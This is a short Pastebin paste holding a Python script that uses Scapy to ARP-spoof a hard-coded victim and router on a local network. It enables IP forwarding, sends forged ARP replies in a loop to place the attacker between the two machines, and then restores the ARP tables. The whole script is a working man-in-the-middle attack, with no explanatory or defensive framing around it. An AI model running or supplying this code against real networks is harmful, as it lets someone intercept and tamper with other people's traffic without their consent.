Advertisement
Guest User

Untitled

a guest
Oct 16th, 2019
84
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.00 KB | None | 0 0
  1. import sys
  2. import os
  3. from scapy.all import *
  4. from scapy.layers.l2 import Ether, ARP
  5.  
  6. def getMAC(ip, interface):
  7. return srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip), timeout=5, iface=interface)[0][0][1][ARP].hwsrc
  8.  
  9. def setIPForwarding(toggle):
  10. if toggle == True:
  11. os.system('sysctl -w net.inet.ip.forwarding=1')
  12. else:
  13. os.system('sysctl -w net.inet.ip.forwarding=0')
  14.  
  15. def attack(victimIP, victimMAC, routerIP, routerMAC):
  16. send(ARP(op=2, pdst=victimIP, psrc=routerIP, hwdst=victimMAC))
  17. send(ARP(op=2, pdst=routerIP, psrc=victimIP, hwdst=routerMAC))
  18.  
  19. def restore(victimIP, victimMAC, routerIP, routerMAC):
  20. send(ARP(op=2, pdst=victimIP, psrc=routerIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=routerMAC))
  21. send(ARP(op=2, pdst=routerIP, psrc=victimIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=victimMAC))
  22.  
  23. victimIP = "192.168.10.101"
  24. routerIP = "192.168.10.1"
  25.  
  26. setIPForwarding(True)
  27.  
  28. try:
  29. victimMAC = "ac:bc:32:79:45:05" #getMAC(victimIP, "enp3s0")
  30. except Exception as e:
  31. setIPForwarding(False)
  32. print("~!~Error getting victim MAC...")
  33. print(e)
  34. sys.exit(1)
  35.  
  36. try:
  37. routerMAC = getMAC(routerIP, "enp3s0")
  38. except Exception as e:
  39. setIPForwarding(False)
  40. print("~!~Error getting router MAC...")
  41. print(e)
  42. sys.exit(1)
  43.  
  44. counter = 0
  45. while True:
  46. counter = counter + 1
  47. if counter > 10:
  48. restore(victimIP, victimMAC, routerIP, routerMAC)
  49. print("ARP table restored!")
  50. setIPForwarding(False)
  51. sys.exit(1)
  52. try:
  53. try:
  54. attack(victimIP, victimMAC, routerIP, routerMAC)
  55. print("ARP spoof sent to " + victimIP + " and " + routerIP)
  56. time.sleep(2)
  57. except Exception as e:
  58. print("Failed to hack")
  59. print(e)
  60. setIPForwarding(False)
  61. sys.exit(1)
  62. except KeyboardInterrupt:
  63. restore(victimIP, victimMAC, routerIP, routerMAC)
  64. print("ARP table restored!")
  65. setIPForwarding(False)
  66.  
  67. sys.exit(1)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement